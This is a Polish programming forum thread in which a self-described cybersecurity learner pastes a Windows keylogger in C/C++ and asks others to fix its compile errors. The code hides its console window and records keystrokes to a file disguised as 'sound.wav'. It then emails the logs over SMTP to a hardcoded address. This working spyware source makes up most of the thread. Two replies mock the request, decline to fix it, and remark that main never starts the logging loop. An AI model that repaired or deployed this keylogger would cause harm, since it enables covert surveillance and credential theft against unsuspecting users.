c++ sprawdzenie i ewentualnie poprawa błędów kodu

0

Witam! Znalazłem w internecie kod keyloggera, który ma za zadanie pobierać znaki z klawiatury, zapisywać je do pliku .txt i wysyłać logi na email, ale przy kompilacji występują różne błędy (Nie znam się na c++, ale zależy mi aby keylogger był właśnie w tym języku).
Uczę się cyber bezpieczeństwa i chciałbym nauczyć się przeciw działać i zrozumieć jak działa ten o to właśnie program:

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt(char* mailserver, char* emailto, char* emailfrom,
    char* emailsubject, char* emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail exchange server for an address for the following 
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for 
whatever email address you want. YOU MUST CHANGE  THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "[email protected]"
#define cemailfrom "[email protected]"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"

int test_key(void);
int main(void)
{
    //Uncomment the lines below to put the keylogger in stealh mode.
    HWND stealth; /*creating stealth */
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);

    {
        FILE* file;
        file = fopen(FileName, "a+");
        time_t theTime = time(0);
        fputs("\nStarted logging: ", file);
        fputs(ctime(&theTime), file);
        fclose(file);
    }

    /* if (test==2)
    {//the path in which the file needs to be
    char *path="c:\\%windir%\\svchost.exe";
    create=create_key(path);          
    } */
}

int get_keys(void)
{
    int freadindex;
    char* buf;
    long len;
    FILE* file;
    file = fopen(FileName, "a+");

    short character;
    while (1) {
        Sleep(10); /*to prevent 100% cpu usage*/
        for (character = 8; character <= 222; character++) {
            if (GetAsyncKeyState(character) == -32767) {
                FILE* file;
                file = fopen(FileName, "a+");
                if (file == NULL) {
                    return 1;
                }
                if (file != NULL) {
                    if ((character >= 39) && (character <= 64)) {
                        fputc(character, file);
                        fclose(file);
                        break;
                    }
                    else if ((character > 64) && (character < 91)) {
                        character += 32;
                        fputc(character, file);
                        fclose(file);
                        break;
                    }
                    else {
                        switch (character) {
                        case VK_SPACE:
                            fputc(' ', file);
                            fclose(file);
                            break;
                        case VK_SHIFT:
                            fputs("\r\n[SHIFT]\r\n", file);
                            fclose(file);
                            break;
                        case VK_RETURN:
                            fputs("\r\n[ENTER]\r\n", file);
                            fclose(file);
                            break;
                        case VK_BACK:
                            fputs("\r\n[BACKSPACE]\r\n", file);
                            fclose(file);
                            break;
                        case VK_TAB:
                            fputs("\r\n[TAB]\r\n", file);
                            fclose(file);
                            break;
                        case VK_CONTROL:
                            fputs("\r\n[CTRL]\r\n", file);
                            fclose(file);
                            break;
                        case VK_DELETE:
                            fputs("\r\n[DEL]\r\n", file);
                            fclose(file);
                            break;
                        case VK_OEM_1:
                            fputs("\r\n[;:]\r\n", file);
                            fclose(file);
                            break;
                        case VK_OEM_2:
                            fputs("\r\n[/?]\r\n", file);
                            fclose(file);
                            break;
                        case VK_OEM_3:
                            fputs("\r\n[`~]\r\n", file);
                            fclose(file);
                            break;
                        case VK_OEM_4:
                            fputs("\r\n[ [{ ]\r\n", file);
                            fclose(file);
                            break;
                        case VK_OEM_5:
                            fputs("\r\n[\\|]\r\n", file);
                            fclose(file);
                            break;
                        case VK_OEM_6:
                            fputs("\r\n[ ]} ]\r\n", file);
                            fclose(file);
                            break;
                        case VK_OEM_7:
                            fputs("\r\n['\"]\r\n", file);
                            fclose(file);
                            break;
                        case 187:
                            fputc('+', file);
                            fclose(file);
                            break;
                        case 188:
                            fputc(',', file);
                            fclose(file);
                            break;
                        case 189:
                            fputc('-', file);
                            fclose(file);
                            break;
                        case 190:
                            fputc('.', file);
                            fclose(file);
                            break;
                        case VK_NUMPAD0:
                            fputc('0', file);
                            fclose(file);
                            break;
                        case VK_NUMPAD1:
                            fputc('1', file);
                            fclose(file);
                            break;
                        case VK_NUMPAD2:
                            fputc('2', file);
                            fclose(file);
                            break;
                        case VK_NUMPAD3:
                            fputc('3', file);
                            fclose(file);
                            break;
                        case VK_NUMPAD4:
                            fputc('4', file);
                            fclose(file);
                            break;
                        case VK_NUMPAD5:
                            fputc('5', file);
                            fclose(file);
                            break;
                        case VK_NUMPAD6:
                            fputc('6', file);
                            fclose(file);
                            break;
                        case VK_NUMPAD7:
                            fputc('7', file);
                            fclose(file);
                            break;
                        case VK_NUMPAD8:
                            fputc('8', file);
                            fclose(file);
                            break;
                        case VK_NUMPAD9:
                            fputc('9', file);
                            fclose(file);
                            break;
                        case VK_CAPITAL:
                            fputs("\r\n[CAPS LOCK]\r\n", file);
                            fclose(file);
                            break;
                        default:
                            fclose(file);
                            break;
                        }
                    }
                }
            }
        }
        FILE* file;
        file = fopen(FileName, "rb");
        fseek(file, 0, SEEK_END); //go to end
        len = ftell(file); //get position at end (length)
        if (len >= LogLength) {
            fseek(file, 0, SEEK_SET); //go to beg.
            buf = (char*)malloc(len); //malloc buffer
            freadindex = fread(buf, 1, len, file); //read into buffer
            buf[freadindex] = '\0'; //Extra bit I have to add to make it a sting
            MailIt(cmailserver, cemailto, cemailfrom, cemailsubject, buf);
            fclose(file);
            file = fopen(FileName, "w");
        }

        fclose(file);
        //free (buf);
    }
    return EXIT_SUCCESS;
}

int MailIt(char* mailserver, char* emailto, char* emailfrom,
    char* emailsubject, char* emailmessage)
{
    SOCKET sockfd;
    WSADATA wsaData;
    FILE* smtpfile;

#define bufsize 300
    int bytes_sent; /* Sock FD */
    int err;
    struct hostent* host; /* info from gethostbyname */
    struct sockaddr_in dest_addr; /* Host Address */
    char line[1000];
    char* Rec_Buf = (char*)malloc(bufsize + 1);
    smtpfile = fopen(SMTPLog, "a+");
    if (WSAStartup(0x202, &wsaData) == SOCKET_ERROR) {
        fputs("WSAStartup failed", smtpfile);
        WSACleanup();
        return -1;
    }
    if ((host = gethostbyname(mailserver)) == NULL) {
        perror("gethostbyname");
        exit(1);
    }
    memset(&dest_addr, 0, sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr), host->h_addr, host->h_length);

    /* Prepare dest_addr */
    dest_addr.sin_family = host->h_addrtype; /* AF_INET from gethostbyname */
    dest_addr.sin_port = htons(25); /* PORT defined above */

    /* Get socket */

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("socket");
        exit(1);
    }
    /* Connect !*/
    fputs("Connecting....\n", smtpfile);

    if (connect(sockfd, (struct sockaddr*)&dest_addr, sizeof(dest_addr)) == -1) {
        perror("connect");
        exit(1);
    }
    Sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    strcpy(line, "helo me.somepalace.com\n");
    fputs(line, smtpfile);
    bytes_sent = send(sockfd, line, strlen(line), 0);
    Sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    strcpy(line, "MAIL FROM:<");
    strncat(line, emailfrom, strlen(emailfrom));
    strncat(line, ">\n", 3);
    fputs(line, smtpfile);
    bytes_sent = send(sockfd, line, strlen(line), 0);
    Sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    strcpy(line, "RCPT TO:<");
    strncat(line, emailto, strlen(emailto));
    strncat(line, ">\n", 3);
    fputs(line, smtpfile);
    bytes_sent = send(sockfd, line, strlen(line), 0);
    Sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    strcpy(line, "DATA\n");
    fputs(line, smtpfile);
    bytes_sent = send(sockfd, line, strlen(line), 0);
    Sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    Sleep(waittime);
    strcpy(line, "To:");
    strcat(line, emailto);
    strcat(line, "\n");
    strcat(line, "From:");
    strcat(line, emailfrom);
    strcat(line, "\n");
    strcat(line, "Subject:");
    strcat(line, emailsubject);
    strcat(line, "\n");
    strcat(line, emailmessage);
    strcat(line, "\r\n.\r\n");
    fputs(line, smtpfile);
    bytes_sent = send(sockfd, line, strlen(line), 0);
    Sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    strcpy(line, "quit\n");
    fputs(line, smtpfile);
    bytes_sent = send(sockfd, line, strlen(line), 0);
    Sleep(waittime);
    err = recv(sockfd, Rec_Buf, bufsize, 0);
    Rec_Buf[err] = '\0';
    fputs(Rec_Buf, smtpfile);
    fclose(smtpfile);
#ifdef WIN32
    closesocket(sockfd);
    WSACleanup();
#else
    close(sockfd);
#endif
}

Prosiłbym o poprawienie wszelkich błędów.

0

Z ciekawości sprawdziłem jakie to straszne błędy które Ci wyskoczyły kod generuje. Dosłownie 3 (na dodatek te same) oraz kilka warningów. Jeśli nie jesteś w stanie wyszukać rozwiązania błędu, to nie wróżę Ci powodzenia w cyber bezpieczeństwie. Jeśli chcesz żeby ktoś odwalił za Ciebie robotę wystaw ogłoszenie w odpowiednim dziale wraz z podaniem budżetu, a ktoś być może się zgłosi.

PS.
Co ciekawe ten kod w takiej formie jak tu, nie robi nic ciekawego, ale to już pozostawimy pytaczowi do przeanalizowania.

0

Wybacz, ale ten kod to jest kpina z 4programmers. Nawet kod źrodłowy kompleksowych aplikacji, co klasy mają po kilkaset metod są o wiele czytelniejsze niż ten blok tekstu, który proponuję Ci wykasować a zanim w ogóle podejdziesz do tematu, przeczytaj chociaż jedną książke Roberta C. Martina - Czysty Kod.

Uczę się cyber bezpieczeństwa i chciałbym nauczyć się przeciw działać i zrozumieć jak działa ten o to właśnie program:

Ogarnij minimum podstaw inżynierii oprogramowania (nie musisz wszystkiego wiedzieć. minimum), plus formatowanie, jeżeli chcesz w ogóle jakikolwiek kod pisać. Natomiast jeżeli osoba powyżej mówi prawdę na temat tego kodu, że się nawet nie kompiluje (ja nie będę sprawdzał bo nie mam windowsa tylko linuxa), to jeżeli w ogóle chcesz zacząć podjąć się kwestii cyberbezpieczeństwa to zajmij się kwestią kompilatora którego używasz, bo jeżeli nie możesz zrozumieć to co kompilator wyrzuca (zakładając że te błędy kompilacji są, jeżeli osoba powyżej mówi prawdę, bo ja ich nie sprawdzę - jestem na windowsie), to musisz najpierw zacząć naukę języka, poprogramować trochę jakiekolwiek oprogramowanie, zrozumieć jak wyglądają błędy które kompilator może wyrzucić, a dopiero potem zajmować się cyberbezpieczeństwem.

A tak mówiąc troszeczkę... sceptycznie - C jako język jeżeli chcesz sie zajmować cyberbezpieczeństwem Ci nie wystarczy.

Pozdrawiam. Pokoju na duszy.

1 użytkowników online, w tym zalogowanych: 0, gości: 1